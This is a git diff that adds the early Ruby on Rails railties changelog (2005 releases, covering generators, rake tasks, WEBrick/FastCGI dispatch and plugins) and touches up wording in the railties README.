+* Add task to generate rdoc for all installed plugins. *Marcel Molina Jr.*
+
+* Update script.aculo.us to V1.5_rc4 *Thomas Fuchs*
+
+* Add default Mac + DarwinPorts MySQL socket locations to the app generator. *Jeremy Kemper*
+
+* Migrations may be destroyed: script/destroy migration foo. #2635 *Charles M. Gerungan <charles.gerungan@gmail.com>, Jamis Buck, Jeremy Kemper*
+
+* Added that plugins can carry generators and that generator stub files can be created along with new plugins using script/generate plugin <name> --with-generator *David Heinemeier Hansson*
+
+* Removed app/apis as a default empty dir since its automatically created when using script/generate web_service *David Heinemeier Hansson*
+
+* Added script/plugin to manage plugins (install, remove, list, etc) *Ryan Tomayko*
+
+* Added test_plugins task: Run the plugin tests in vendor/plugins/**/test (or specify with PLUGIN=name) *David Heinemeier Hansson*
+
+* Added plugin generator to create a stub structure for a new plugin in vendor/plugins (see "script/generate plugin" for help) *David Heinemeier Hansson*
+
+* Fixed scaffold generator when started with only 1 parameter #2609 *self@mattmower.com*
+
+* rake should run functional tests even if the unit tests have failures *Jim Weirich*
+
+* Back off cleanpath to be symlink friendly. Closes #2533 *Nicholas Seckar*
+
+* Load rake task files in alphabetical order so you can build dependencies and count on them #2554 *Blair Zajac*
+
+
+## 0.14.2 (RC3) (October 26th, 2005) ##
+
+* Constants set in the development/test/production environment file are set in Object
+
+* Scaffold generator pays attention to the controller name. #2562 *self@mattmower.com*
+
+* Include tasks from vendor/plugins/*/tasks in the Rakefile #2545 *Rick Olson*
+
+
+## 0.14.1 (RC2) (October 19th, 2005) ##
+
+* Don't clean RAILS_ROOT on windows
+
+* Remove trailing '/' from RAILS_ROOT *Nicholas Seckar*
+
+* Upgraded to Active Record 1.12.1 and Action Pack 1.10.1
+
+
+## 0.14.0 (RC1) (October 16th, 2005) ##
+
+* Moved generator folder from RAILS_ROOT/generators to RAILS_ROOT/lib/generators *Tobias Lütke*
+
+* Fix rake dev and related commands *Nicholas Seckar*
+
+* The rails command tries to deduce your MySQL socket by running `mysql_config
+ --socket`. If it fails, default to /path/to/your/mysql.sock
+
+* Made the rails command use the application name for database names in the tailored database.yml file. Example: "rails ~/projects/blog" will use "blog_development" instead of "rails_development". *Florian Weber*
+
+* Added Rails framework freezing tasks: freeze_gems (freeze to current gems), freeze_edge (freeze to Rails SVN trunk), unfreeze_rails (float with newest gems on system)
+
+* Added update_javascripts task which will fetch all the latest js files from your current rails install. Use after updating rails. *Tobias Lütke*
+
+* Added cleaning of RAILS_ROOT to useless elements such as '../non-dot-dot/'. Provides cleaner backtraces and error messages. *Nicholas Seckar*
+
+* Made the instantiated/transactional fixtures settings be controlled through Rails::Initializer. Transactional and non-instantiated fixtures are default from now on. *Florian Weber*
+
+* Support using different database adapters for development and test with ActiveRecord::Base.schema_format = :ruby *Sam Stephenson*
+
+* Make webrick work with session(:off)
+
+* Add --version, -v option to the Rails command. Closes #1840. *stancell*
+
+* Update Prototype to V1.4.0_pre11, script.aculo.us to V1.5_rc3 [2504] and fix the rails generator to include the new .js files *Thomas Fuchs*
+
+* Make the generator skip a file if it already exists and is identical to the new file.
+
+* Add experimental plugin support #2335
+
+* Made Rakefile aware of new .js files in script.aculo.us *Thomas Fuchs*
+
+* Make table_name and controller_name in generators honor AR::Base.pluralize_table_names. #1216 #2213 *kazuhiko@fdiary.net*
+
+* Clearly label functional and unit tests in rake stats output. #2297 *lasse.koskela@gmail.com*
+
+* Make the migration generator only check files ending in *.rb when calculating the next file name #2317 *Chad Fowler*
+
+* Added prevention of duplicate migrations from the generator #2240 *François Beausoleil*
+
+* Add db_schema_dump and db_schema_import rake tasks to work with the new ActiveRecord::SchemaDumper (for dumping a schema to and reading a schema from a ruby file).
+
+* Reformed all the config/environments/* files to conform to the new Rails::Configuration approach. Fully backwards compatible.
+
+* Added create_sessions_table, drop_sessions_table, and purge_sessions_table as rake tasks for databases that supports migrations (MySQL, PostgreSQL, SQLite) to get a table for use with CGI::Session::ActiveRecordStore
+
+* Added dump of schema version to the db_structure_dump task for databases that support migrations #1835 *Rick Olson*
+
+* Fixed script/profiler for Ruby 1.8.2 #1863 *Rick Olson*
+
+* Fixed clone_structure_to_test task for SQLite #1864 *jon@burningbush.us*
+
+* Added -m/--mime-types option to the WEBrick server, so you can specify a Apache-style mime.types file to load #2059 *ask@develooper.com*
+
+* Added -c/--svn option to the generator that'll add new files and remove destroyed files using svn add/revert/remove as appropriate #2064 *Kevin Clark*
+
+* Added -c/--charset option to WEBrick server, so you can specify a default charset (which without changes is UTF-8) #2084 *wejn@box.cz*
+
+* Make the default stats task extendable by modifying the STATS_DIRECTORIES constant
+
+* Allow the selected environment to define RAILS_DEFAULT_LOGGER, and have Rails::Initializer use it if it exists.
+
+* Moved all the shared tasks from Rakefile into Rails, so that the Rakefile is empty and doesn't require updating.
+
+* Added Rails::Initializer and Rails::Configuration to abstract all of the common setup out of config/environment.rb (uses config/boot.rb to bootstrap the initializer and paths)
+
+* Fixed the scaffold generator to fail right away if the database isn't accessible instead of in mid-air #1169 *Chad Fowler*
+
+* Corrected project-local generator location in scripts.rb #2010 *Michael Schuerig*
+
+* Don't require the environment just to clear the logs #2093 *Scott Barron*
+
+* Make the default rakefile read *.rake files from config/tasks (for easy extension of the rakefile by e.g. generators)
+
+* Only load breakpoint in development mode and when BREAKPOINT_SERVER_PORT is defined.
+
+* Allow the --toggle-spin switch on process/reaper to be negated
+
+* Replace render_partial with render :partial in scaffold generator *Nicholas Seckar*
+
+* Added -w flag to ps in process/reaper #1934 *Scott Barron*
+
+* Allow ERb in the database.yml file (just like with fixtures), so you can pull out the database configuration in environment variables #1822 *Duane Johnson*
+
+* Added convenience controls for FCGI processes (especially when managed remotely): spinner, spawner, and reaper. They reside in script/process. More details can be had by calling them with -h/--help.
+
+* Added load_fixtures task to the Rakefile, which will load all the fixtures into the database for the current environment #1791 *Marcel Molina Jr.*
+
+* Added an empty robots.txt to public/, so that web servers asking for it won't trigger a dynamic call, like favicon.ico #1738 *Michael Schubert*
+
+* Dropped the 'immediate close-down' of FCGI processes since it didn't work consistently and produced bad responses when it didn't. So now a TERM ensures exit after the next request (just as if the process is handling a request when it receives the signal). This means that you'll have to 'nudge' all FCGI processes with a request in order to ensure that they have all reloaded. This can be done by something like ./script/process/repear --nudge 'http://www.myapp.com' --instances 10, which will load the myapp site 10 times (and thus hit all of the 10 FCGI processes once, enough to shut down).
+
+
+## 0.13.1 (11 July, 2005) ##
+
+* Look for app-specific generators in RAILS_ROOT/generators rather than the clunky old RAILS_ROOT/script/generators. Nobody really uses this feature except for the unit tests, so it's a negligible-impact change. If you want to work with third-party generators, drop them in ~/.rails/generators or simply install gems.
+
+* Fixed that each request with the WEBrick adapter would open a new database connection #1685 *Sam Stephenson*
+
+* Added support for SQL Server in the database rake tasks #1652 [Ken Barker] Note: osql and scptxfr may need to be installed on your development environment. This involves getting the .exes and a .rll (scptxfr) from a production SQL Server (not developer level SQL Server). Add their location to your Environment PATH and you are all set.
+
+* Added a VERSION parameter to the migrate task that allows you to do "rake migrate VERSION=34" to migrate to the 34th version traveling up or down depending on the current version
+
+* Extend Ruby version check to include RUBY_RELEASE_DATE >= '2005-12-25', the final Ruby 1.8.2 release #1674 *court3nay*
+
+* Improved documentation for environment config files #1625 *court3nay*
+
+
+## 0.13.0 (6 July, 2005) ##
+
+* Changed the default logging level in config/environment.rb to INFO for production (so SQL statements won't be logged)
+
+* Added migration generator: ./script/generate migration add_system_settings
+
+* Added "migrate" as rake task to execute all the pending migrations from db/migrate
+
+* Fixed that model generator would make fixtures plural, even if ActiveRecord::Base.pluralize_table_names was false #1185 *Marcel Molina Jr.*
+
+* Added a DOCTYPE of HTML transitional to the HTML files generated by Rails #1124 *Michael Koziarski*
+
+* SIGTERM also gracefully exits dispatch.fcgi. Ignore SIGUSR1 on Windows.
+
+* Add the option to manually manage garbage collection in the FastCGI dispatcher. Set the number of requests between GC runs in your public/dispatch.fcgi *Stefan Kaes*
+
+* Allow dynamic application reloading for dispatch.fcgi processes by sending a SIGHUP. If the process is currently handling a request, the request will be allowed to complete first. This allows production fcgi's to be reloaded without having to restart them.
+
+* RailsFCGIHandler (dispatch.fcgi) no longer tries to explicitly flush $stdout (CgiProcess#out always calls flush)
+
+* Fixed rakefile actions against PostgreSQL when the password is all numeric #1462 *Michael Schubert*
+
+* ActionMailer::Base subclasses are reloaded with the other rails components #1262
+
+* Made the WEBrick adapter not use a mutex around action performance if ActionController::Base.allow_concurrency is true (default is false)
+
+* Fixed that mailer generator generated fixtures/plural while units expected fixtures/singular #1457 *Scott Barron*
+
+* Added a 'whiny nil' that's aim to ensure that when users pass nil to methods where that isn't appropriate, instead of NoMethodError? and the name of some method used by the framework users will see a message explaining what type of object was expected. Only active in test and development environments by default #1209 *Michael Koziarski*
+
+* Fixed the test_helper.rb to be safe for requiring controllers from multiple spots, like app/controllers/article_controller.rb and app/controllers/admin/article_controller.rb, without reloading the environment twice #1390 *Nicholas Seckar*
+
+* Fixed Webrick to escape + characters in URL's the same way that lighttpd and apache do #1397 *Nicholas Seckar*
+
+* Added -e/--environment option to script/runner #1408 *François Beausoleil*
+
+* Modernize the scaffold generator to use the simplified render and test methods and to change style from @params["id"] to params[:id]. #1367
+
+* Added graceful exit from pressing CTRL-C during the run of the rails command #1150 *Caleb Tennis*
+
+* Allow graceful exits for dispatch.fcgi processes by sending a SIGUSR1. If the process is currently handling a request, the request will be allowed to complete and then will terminate itself. If a request is not being handled, the process is terminated immediately (via #exit). This basically works like restart graceful on Apache. *Jamis Buck*
+
+* Made dispatch.fcgi more robust by catching fluke errors and retrying unless its a permanent condition. *Jamis Buck*
+
+* Added console --profile for profiling an IRB session #1154 *Jeremy Kemper*
+
+* Changed console_sandbox into console --sandbox #1154 *Jeremy Kemper*
+
+
+## 0.12.1 (20th April, 2005) ##
+
+* Upgraded to Active Record 1.10.1, Action Pack 1.8.1, Action Mailer 0.9.1, Action Web Service 0.7.1
+
+
+## 0.12.0 (19th April, 2005) ##
+
+* Fixed that purge_test_database would use database settings from the development environment when recreating the test database #1122 *rails@cogentdude.com*
+
+* Added script/benchmarker to easily benchmark one or more statement a number of times from within the environment. Examples:
+
+ # runs the one statement 10 times
+ script/benchmarker 10 'Person.expensive_method(10)'
+
+ # pits the two statements against each other with 50 runs each
+ script/benchmarker 50 'Person.expensive_method(10)' 'Person.cheap_method(10)'
+
+* Added script/profiler to easily profile a single statement from within the environment. Examples:
+
+ script/profiler 'Person.expensive_method(10)'
+ script/profiler 'Person.expensive_method(10)' 10 # runs the statement 10 times
+
+* Added Rake target clear_logs that'll truncate all the *.log files in log/ to zero #1079 *Lucas Carlson*
+
+* Added lazy typing for generate, such that ./script/generate cn == ./script/generate controller and the likes #1051 *k@v2studio.com*
+
+* Fixed that ownership is brought over in pg_dump during tests for PostgreSQL #1060 *pburleson*
+
+* Upgraded to Active Record 1.10.0, Action Pack 1.8.0, Action Mailer 0.9.0, Action Web Service 0.7.0, Active Support 1.0.4
+
+
+## 0.11.1 (27th March, 2005) ##
+
+* Fixed the dispatch.fcgi use of a logger
+
+* Upgraded to Active Record 1.9.1, Action Pack 1.7.0, Action Mailer 0.8.1, Action Web Service 0.6.2, Active Support 1.0.3
+
+
+## 0.11.0 (22th March, 2005) ##
+
+* Removed SCRIPT_NAME from the WEBrick environment to prevent conflicts with PATH_INFO #896 *Nicholas Seckar*
+
+* Removed ?$1 from the dispatch.f/cgi redirect line to get rid of 'complete/path/from/request.html' => nil being in the @params now that the ENV["REQUEST_URI"] is used to determine the path #895 *dblack/Nicholas Seckar*
+
+* Added additional error handling to the FastCGI dispatcher to catch even errors taking down the entire process
+
+* Improved the generated scaffold code a lot to take advantage of recent Rails developments #882 *Tobias Lütke*
+
+* Combined the script/environment.rb used for gems and regular files version. If vendor/rails/* has all the frameworks, then files version is used, otherwise gems #878 *Nicholas Seckar*
+
+* Changed .htaccess to allow dispatch.* to be called from a sub-directory as part of the push with Action Pack to make Rails work on non-vhost setups #826 *Nicholas Seckar/Tobias Lütke*
+
+* Added script/runner which can be used to run code inside the environment by eval'ing the first parameter. Examples:
+
+ ./script/runner 'ReminderService.deliver'
+ ./script/runner 'Mailer.receive(STDIN.read)'
+
+ This makes it easier to do CRON and postfix scripts without actually making a script just to trigger 1 line of code.
+
+* Fixed webrick_server cookie handling to allow multiple cookes to be set at once #800, #813 *dave@cherryville.org*
+
+* Fixed the Rakefile's interaction with postgresql to:
+
+ 1. Use PGPASSWORD and PGHOST in the environment to fix prompting for
+ passwords when connecting to a remote db and local socket connections.
+ 2. Add a '-x' flag to pg_dump which stops it dumping privileges #807 [rasputnik]
+ 3. Quote the user name and use template0 when dumping so the functions doesn't get dumped too #855 [pburleson]
+ 4. Use the port if available #875 [madrobby]
+
+* Upgraded to Active Record 1.9.0, Action Pack 1.6.0, Action Mailer 0.8.0, Action Web Service 0.6.1, Active Support 1.0.2
+
+
+## 0.10.1 (7th March, 2005) ##
+
+* Fixed rake stats to ignore editor backup files like model.rb~ #791 *Sebastian Kanthak*
+
+* Added exception shallowing if the DRb server can't be started (not worth making a fuss about to distract new users) #779 *Tobias Lütke*
+
+* Added an empty favicon.ico file to the public directory of new applications (so the logs are not spammed by its absence)
+
+* Fixed that scaffold generator new template should use local variable instead of instance variable #778 *Dan Peterson*
+
+* Allow unit tests to run on a remote server for PostgreSQL #781 *adamm@galacticasoftware.com*
+
+* Added web_service generator (run ./script/generate web_service for help) #776 *Leon Bredt*
+
+* Added app/apis and components to code statistics report #729 *Scott Barron*
+
+* Fixed WEBrick server to use ABSOLUTE_RAILS_ROOT instead of working_directory #687 *Nicholas Seckar*
+
+* Fixed rails_generator to be usable without RubyGems #686 *Cristi BALAN*
+
+* Fixed -h/--help for generate and destroy generators #331
+
+* Added begin/rescue around the FCGI dispatcher so no uncaught exceptions can bubble up to kill the process (logs to log/fastcgi.crash.log)
+
+* Fixed that association#count would produce invalid sql when called sequentialy #659 *kanis@comcard.de*
+
+* Fixed test/mocks/testing to the correct test/mocks/test #740
+
+* Added early failure if the Ruby version isn't 1.8.2 or above #735
+
+* Removed the obsolete -i/--index option from the WEBrick servlet #743
+
+* Upgraded to Active Record 1.8.0, Action Pack 1.5.1, Action Mailer 0.7.1, Action Web Service 0.6.0, Active Support 1.0.1
+
+
+## 0.10.0 (24th February, 2005) ##
+
+* Changed default IP binding for WEBrick from 127.0.0.1 to 0.0.0.0 so that the server is accessible both locally and remotely #696 *Marcel Molina Jr.*
+
+* Fixed that script/server -d was broken so daemon mode couldn't be used #687 *Nicholas Seckar*
+
+* Upgraded to breakpoint 92 which fixes:
+
+ * overload IRB.parse_opts(), fixes #443
+ => breakpoints in tests work even when running them via rake
+ * untaint handlers, might fix an issue discussed on the Rails ML
+ * added verbose mode to breakpoint_client
+ * less noise caused by breakpoint_client by default
+ * ignored TerminateLineInput exception in signal handler
+ => quiet exit on Ctrl-C
+
+* Added support for independent components residing in /components. Example:
+
+ Controller: components/list/items_controller.rb
+ (holds a List::ItemsController class with uses_component_template_root called)
+
+ Model : components/list/item.rb
+ (namespace is still shared, so an Item model in app/models will take precedence)
+
+ Views : components/list/items/show.rhtml
+
+
+* Added --sandbox option to script/console that'll roll back all changes made to the database when you quit #672 *Jeremy Kemper*
+
+* Added 'recent' as a rake target that'll run tests for files that changed in the last 10 minutes #612 *Jeremy Kemper*
+
+* Changed script/console to default to development environment and drop --no-inspect #650 *Jeremy Kemper*
+
+* Added that the 'fixture :posts' syntax can be used for has_and_belongs_to_many fixtures where a model doesn't exist #572 *Jeremy Kemper*
+
+* Added that running test_units and test_functional now performs the clone_structure_to_test as well #566 *rasputnik*
+
+* Added new generator framework that informs about its doings on generation and enables updating and destruction of generated artifacts. See the new script/destroy and script/update for more details #487 *Jeremy Kemper*
+
+* Added Action Web Service as a new add-on framework for Action Pack *Leon Bredt*
+
+* Added Active Support as an independent utility and standard library extension bundle
+
+* Upgraded to Active Record 1.7.0, Action Pack 1.5.0, Action Mailer 0.7.0
+
+
+## 0.9.5 (January 25th, 2005) ##
+
+* Fixed dependency reloading by switching to a remove_const approach where all Active Records, Active Record Observers, and Action Controllers are reloading by undefining their classes. This enables you to remove methods in all three types and see the change reflected immediately and it fixes #539. This also means that only those three types of classes will benefit from the const_missing and reloading approach. If you want other classes (like some in lib/) to reload, you must use require_dependency to do it.
+
+* Added Florian Gross' latest version of Breakpointer and friends that fixes a variaty of bugs #441 *Florian Gross*
+
+* Fixed skeleton Rakefile to work with sqlite3 out of the box #521 *rasputnik*
+
+* Fixed that script/breakpointer didn't get the Ruby path rewritten as the other scripts #523 *brandt@kurowski.net*
+
+* Fixed handling of syntax errors in models that had already been succesfully required once in the current interpreter
+
+* Fixed that models that weren't referenced in associations weren't being reloaded in the development mode by reinstating the reload
+
+* Fixed that generate scaffold would produce bad functional tests
+
+* Fixed that FCGI can also display SyntaxErrors
+
+* Upgraded to Active Record 1.6.0, Action Pack 1.4.0
+
+
+## 0.9.4.1 (January 18th, 2005) ##
+
+* Added 5-second timeout to WordNet alternatives on creating reserved-word models #501 *Marcel Molina Jr.*
+
+* Fixed binding of caller #496 *Alexey*
+
+* Upgraded to Active Record 1.5.1, Action Pack 1.3.1, Action Mailer 0.6.1
+
+
+## 0.9.4 (January 17th, 2005) ##
+
+* Added that ApplicationController will catch a ControllerNotFound exception if someone attempts to access a url pointing to an unexisting controller *Tobias Lütke*
+
+* Flipped code-to-test ratio around to be more readable #468 *Scott Baron*
+
+* Fixed log file permissions to be 666 instead of 777 (so they're not executable) #471 *Lucas Carlson*
+
+* Fixed that auto reloading would some times not work or would reload the models twice #475 *Tobias Lütke*
+
+* Added rewrite rules to deal with caching to public/.htaccess
+
+* Added the option to specify a controller name to "generate scaffold" and made the default controller name the plural form of the model.
+
+* Added that rake clone_structure_to_test, db_structure_dump, and purge_test_database tasks now pick up the source database to use from
+ RAILS_ENV instead of just forcing development #424 *Tobias Lütke*
+
+* Fixed script/console to work with Windows (that requires the use of irb.bat) #418 *Chris McGrath*
+
+* Fixed WEBrick servlet slowdown over time by restricting the load path reloading to mod_ruby
+
+* Removed Fancy Indexing as a default option on the WEBrick servlet as it made it harder to use various caching schemes
+
+* Upgraded to Active Record 1.5, Action Pack 1.3, Action Mailer 0.6
+
+
+## 0.9.3 (January 4th, 2005) ##
+
+* Added support for SQLite in the auto-dumping/importing of schemas for development -> test #416
+
+* Added automated rewriting of the shebang lines on installs through the gem rails command #379 *Manfred Stienstra*
+
+* Added ActionMailer::Base.deliver_method = :test to the test environment so that mail objects are available in ActionMailer::Base.deliveries
+ for functional testing.
+
+* Added protection for creating a model through the generators with a name of an existing class, like Thread or Date.
+ It'll even offer you a synonym using wordnet.princeton.edu as a look-up. No, I'm not kidding :) *Florian Gross*
+
+* Fixed dependency management to happen in a unified fashion for Active Record and Action Pack using the new Dependencies module. This means that
+ the environment options needs to change from:
+
+ Before in development.rb:
+ ActionController::Base.reload_dependencies = true  
+ ActiveRecord::Base.reload_associations     = true
+
+ Now in development.rb:
+ Dependencies.mechanism = :load
+
+ Before in production.rb and test.rb:
+ ActionController::Base.reload_dependencies = false
+ ActiveRecord::Base.reload_associations     = false
+
+ Now in production.rb and test.rb:
+ Dependencies.mechanism = :require
+
+* Fixed problems with dependency caching and controller hierarchies on Ruby 1.8.2 in development mode #351
+
+* Fixed that generated action_mailers doesnt need to require the action_mailer since thats already done in the environment #382 *Lucas Carlson*
+
+* Upgraded to Action Pack 1.2.0 and Active Record 1.4.0
+
+
+## 0.9.2 ##
+
+* Fixed CTRL-C exists from the Breakpointer to be a clean affair without error dumping *Kent Sibilev*
+
+* Fixed "rake stats" to work with sub-directories in models and controllers and to report the code to test ration *Scott Baron*
+
+* Added that Active Record associations are now reloaded instead of cleared to work with the new const_missing hook in Active Record.
+
+* Added graceful handling of an inaccessible log file by redirecting output to STDERR with a warning #330 *rainmkr*
+
+* Added support for a -h/--help parameter in the generator #331 *Ulysses*
+
+* Fixed that File.expand_path in config/environment.rb would fail when dealing with symlinked public directories *mjobin*
+
+* Upgraded to Action Pack 1.1.0 and Active Record 1.3.0
+
+
+## 0.9.1 ##
+
+* Upgraded to Action Pack 1.0.1 for important bug fix
+
+* Updated gem dependencies
+
+
+## 0.9.0 ##
+
+* Renamed public/dispatch.servlet to script/server -- it wasn't really dispatching anyway as its delegating calls to public/dispatch.rb
+
+* Renamed AbstractApplicationController and abstract_application.rb to ApplicationController and application.rb, so that it will be possible
+ for the framework to automatically pick up on app/views/layouts/application.rhtml and app/helpers/application.rb
+
+* Added script/console that makes it even easier to start an IRB session for interacting with the domain model. Run with no-args to
+ see help.
+
+* Added breakpoint support through the script/breakpointer client. This means that you can break out of execution at any point in
+ the code, investigate and change the model, AND then resume execution! Example:
+
+ class WeblogController < ActionController::Base
+ def index
+ @posts = Post.find_all
+ breakpoint "Breaking out from the list"
+ end
+ end
+
+ So the controller will accept the action, run the first line, then present you with a IRB prompt in the breakpointer window.
+ Here you can do things like:
+
+ Executing breakpoint "Breaking out from the list" at .../webrick_server.rb:16 in 'breakpoint'
+
+ >> @posts.inspect
+ => "[#<Post:0x14a6be8 @attributes={\"title\"=>nil, \"body\"=>nil, \"id\"=>\"1\"}>,
+ #<Post:0x14a6620 @attributes={\"title\"=>\"Rails you know!\", \"body\"=>\"Only ten..\", \"id\"=>\"2\"}>]"
+ >> @posts.first.title = "hello from a breakpoint"
+ => "hello from a breakpoint"
+
+ ...and even better is that you can examine how your runtime objects actually work:
+
+ >> f = @posts.first
+ => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
+ >> f.
+ Display all 152 possibilities? (y or n)
+
+ Finally, when you're ready to resume execution, you press CTRL-D
+
+* Changed environments to be configurable through an environment variable. By default, the environment is "development", but you
+ can change that and set your own by configuring the Apache vhost with a string like (mod_env must be available on the server):
+
+ SetEnv RAILS_ENV production
+
+ ...if you're using WEBrick, you can pick the environment to use with the command-line parameters -e/--environment, like this:
+
+ ruby public/dispatcher.servlet -e production
+
+* Added a new default environment called "development", which leaves the production environment to be tuned exclusively for that.
+
+* Added a start_server in the root of the Rails application to make it even easier to get started
+
+* Fixed public/.htaccess to use RewriteBase and share the same rewrite rules for all the dispatch methods
+
+* Fixed webrick_server to handle requests in a serialized manner (the Rails reloading infrastructure is not thread-safe)
+
+* Added support for controllers in directories. So you can have:
+
+ app/controllers/account_controller.rb # URL: /account/
+ app/controllers/admin/account_controller.rb # URL: /admin/account/
+
+ NOTE: You need to update your public/.htaccess with the new rules to pick it up
+
+* Added reloading for associations and dependencies under cached environments like FastCGI and mod_ruby. This makes it possible to use
+ those environments for development. This is turned on by default, but can be turned off with
+ ActiveRecord::Base.reload_associations = false and ActionController::Base.reload_dependencies = false in production environments.
+
+* Added support for sub-directories in app/models. So now you can have something like Basecamp with:
+
+ app/models/accounting
+ app/models/project
+ app/models/participants
+ app/models/settings
+
+ It's poor man's namespacing, but only for file-system organization. You still require files just like before.
+ Nothing changes inside the files themselves.
+
+
+* Fixed a few references in the tests generated by new_mailer *Jeremy Kemper*
+
+* Added support for mocks in testing with test/mocks
+
+* Cleaned up the environments a bit and added global constant RAILS_ROOT
+
+
+## 0.8.5 (9) ##
+
+* Made dev-util available to all tests, so you can insert breakpoints in any test case to get an IRB prompt at that point [Jeremy Kemper]:
+
+ def test_complex_stuff
+ @david.projects << @new_project
+ breakpoint "Let's have a closer look at @david"
+ end
+
+ You need to install dev-utils yourself for this to work ("gem install dev-util").
+
+* Added shared generator behavior so future upgrades should be possible without manually copying over files *Jeremy Kemper*
+
+* Added the new helper style to both controller and helper templates *Jeremy Kemper*
+
+* Added new_crud generator for creating a model and controller at the same time with explicit scaffolding *Jeremy Kemper*
+
+* Added configuration of Test::Unit::TestCase.fixture_path to test_helper to concide with the new AR fixtures style
+
+* Fixed that new_model was generating singular table/fixture names
+
+* Upgraded to Action Mailer 0.4.0
+
+* Upgraded to Action Pack 0.9.5
+
+* Upgraded to Active Record 1.1.0
+
+
+## 0.8.0 (15) ##
+
+* Removed custom_table_name option for new_model now that the Inflector is as powerful as it is
+
+* Changed the default rake action to just do testing and separate API generation and coding statistics into a "doc" task.
+
+* Fixed WEBrick dispatcher to handle missing slashes in the URLs gracefully *alexey*
+
+* Added user option for all postgresql tool calls in the rakefile *elvstone*
+
+* Fixed problem with running "ruby public/dispatch.servlet" instead of "cd public; ruby dispatch.servlet" *alexey*
+
+* Fixed WEBrick server so that it no longer hardcodes the ruby interpreter used to "ruby" but will get the one used based
+ on the Ruby runtime configuration. *Marcel Molina Jr.*
+
+* Fixed Dispatcher so it'll route requests to magic_beans to MagicBeansController/magic_beans_controller.rb *Caio Chassot*
+
+* "new_controller MagicBeans" and "new_model SubscriptionPayments" will now both behave properly as they use the new Inflector.
+
+* Fixed problem with MySQL foreign key constraint checks in Rake :clone_production_structure_to_test target *Andreas Schwarz*
+
+* Changed WEBrick server to by default be auto-reloading, which is slower but makes source changes instant.
+ Class compilation cache can be turned on with "-c" or "--cache-classes".
+
+* Added "-b/--binding" option to WEBrick dispatcher to bind the server to a specific IP address (default: 127.0.0.1) *Kevin Temp*
+
+* dispatch.fcgi now DOESN'T set FCGI_PURE_RUBY as it was slowing things down for now reason *Andreas Schwarz*
+
+* Added new_mailer generator to work with Action Mailer
+
+* Included new framework: Action Mailer 0.3
+
+* Upgraded to Action Pack 0.9.0
+
+* Upgraded to Active Record 1.0.0
+
+
+## 0.7.0 ##
+
+* Added an optional second argument to the new_model script that allows the programmer to specify the table name,
+ which will used to generate a custom table_name method in the model and will also be used in the creation of fixtures.
+ *Kevin Radloff*
+
+* script/new_model now turns AccountHolder into account_holder instead of accountholder *Kevin Radloff*
+
+* Fixed the faulty handleing of static files with WEBrick *Andreas Schwarz*
+
+* Unified function_test_helper and unit_test_helper into test_helper
+
+* Fixed bug with the automated production => test database dropping on PostgreSQL *dhawkins*
+
+* create_fixtures in both the functional and unit test helper now turns off the log during fixture generation
+ and can generate more than one fixture at a time. Which makes it possible for assignments like:
+
+ @people, @projects, @project_access, @companies, @accounts =
+ create_fixtures "people", "projects", "project_access", "companies", "accounts"
+
+* Upgraded to Action Pack 0.8.5 (locally-scoped variables, partials, advanced send_file)
+
+* Upgraded to Active Record 0.9.5 (better table_name guessing, cloning, find_all_in_collection)
+
+
+## 0.6.5 ##
+
+* No longer specifies a template for rdoc, so it'll use whatever is default (you can change it in the rakefile)
+
+* The new_model generator will now use the same rules for plural wordings as Active Record
+ (so Category will give categories, not categorys) *Kevin Radloff*
+
+* dispatch.fcgi now sets FCGI_PURE_RUBY to true to ensure that it's the Ruby version that's loaded *danp*
+
+* Made the GEM work with Windows
+
+* Fixed bug where mod_ruby would "forget" the load paths added when switching between controllers
+
+* PostgreSQL are now supported for the automated production => test database dropping *Kevin Radloff*
+
+* Errors thrown by the dispatcher are now properly handled in FCGI.
+
+* Upgraded to Action Pack 0.8.0 (lots and lots and lots of fixes)
+
+* Upgraded to Active Record 0.9.4 (a bunch of fixes)
+
+
+## 0.6.0 ##
+
+* Added AbstractionApplicationController as a superclass for all controllers generated. This class can be used
+ to carry filters and methods that are to be shared by all. It has an accompanying ApplicationHelper that all
+ controllers will also automatically have available.
+
+* Added environments that can be included from any script to get the full Active Record and Action Controller
+ context running. This can be used by maintenance scripts or to interact with the model through IRB. Example:
+
+ require 'config/environments/production'
+
+ for account in Account.find_all
+ account.recalculate_interests
+ end
+
+ A short migration script for an account model that had it's interest calculation strategy changed.
+
+* Accessing the index of a controller with "/weblog" will now redirect to "/weblog/" (only on Apache, not WEBrick)
+
+* Simplified the default Apache config so even remote requests are served off CGI as a default.
+ You'll now have to do something specific to activate mod_ruby and FCGI (like using the force urls).
+ This should make it easier for new comers that start on an external server.
+
+* Added more of the necessary Apache options to .htaccess to make it easier to setup
+
+* Upgraded to Action Pack 0.7.9 (lots of fixes)
+
+* Upgraded to Active Record 0.9.3 (lots of fixes)
+
+
+## 0.5.7 ##
+
+* Fixed bug in the WEBrick dispatcher that prevented it from getting parameters from the URL
+ (through GET requests or otherwise)
+
+* Added lib in root as a place to store app specific libraries
+
+* Added lib and vendor to load_path, so anything store within can be loaded directly.
+ Hence lib/redcloth.rb can be loaded with require "redcloth"
+
+* Upgraded to Action Pack 0.7.8 (lots of fixes)
+
+* Upgraded to Active Record 0.9.2 (minor upgrade)
+
+
+## 0.5.6 ##
+
+* Upgraded to Action Pack 0.7.7 (multipart form fix)
+
+* Updated the generated template stubs to valid XHTML files
+
+* Ensure that controllers generated are capitalized, so "new_controller TodoLists"
+ gives the same as "new_controller Todolists" and "new_controller todolists".
+
+
+## 0.5.5 ##
+
+* Works on Windows out of the box! (Dropped symlinks)
+
+* Added webrick dispatcher: Try "ruby public/dispatch.servlet --help" *Florian Gross*
+
+* Report errors about initialization to browser (instead of attempting to use uninitialized logger)
+
+* Upgraded to Action Pack 0.7.6
+
+* Upgraded to Active Record 0.9.1
+
+* Added distinct 500.html instead of reusing 404.html
+
+* Added MIT license
+
+
+## 0.5.0 ##
+
+* First public release
diff --git a/railties/README.rdoc b/railties/README.rdoc
index 0457227473..ae40600401 100644
--- a/railties/README.rdoc
+++ b/railties/README.rdoc
@@ -1,26 +1,35 @@
= Railties -- Gluing the Engine to the Rails
-Railties is responsible to glue all frameworks together. Overall, it:
+Railties is responsible for gluing all frameworks together. Overall, it:
-* handles all the bootstrapping process for a Rails application;
+* handles the bootstrapping process for a Rails application;
-* manages rails command line interface;
+* manages the +rails+ command line interface;
-* provides Rails generators core;
+* and provides the Rails generators core.
== Download
-The latest version of Railties can be installed with Rubygems:
+The latest version of Railties can be installed with RubyGems:
* gem install railties
-Documentation can be found at
-
-* http://api.rubyonrails.org
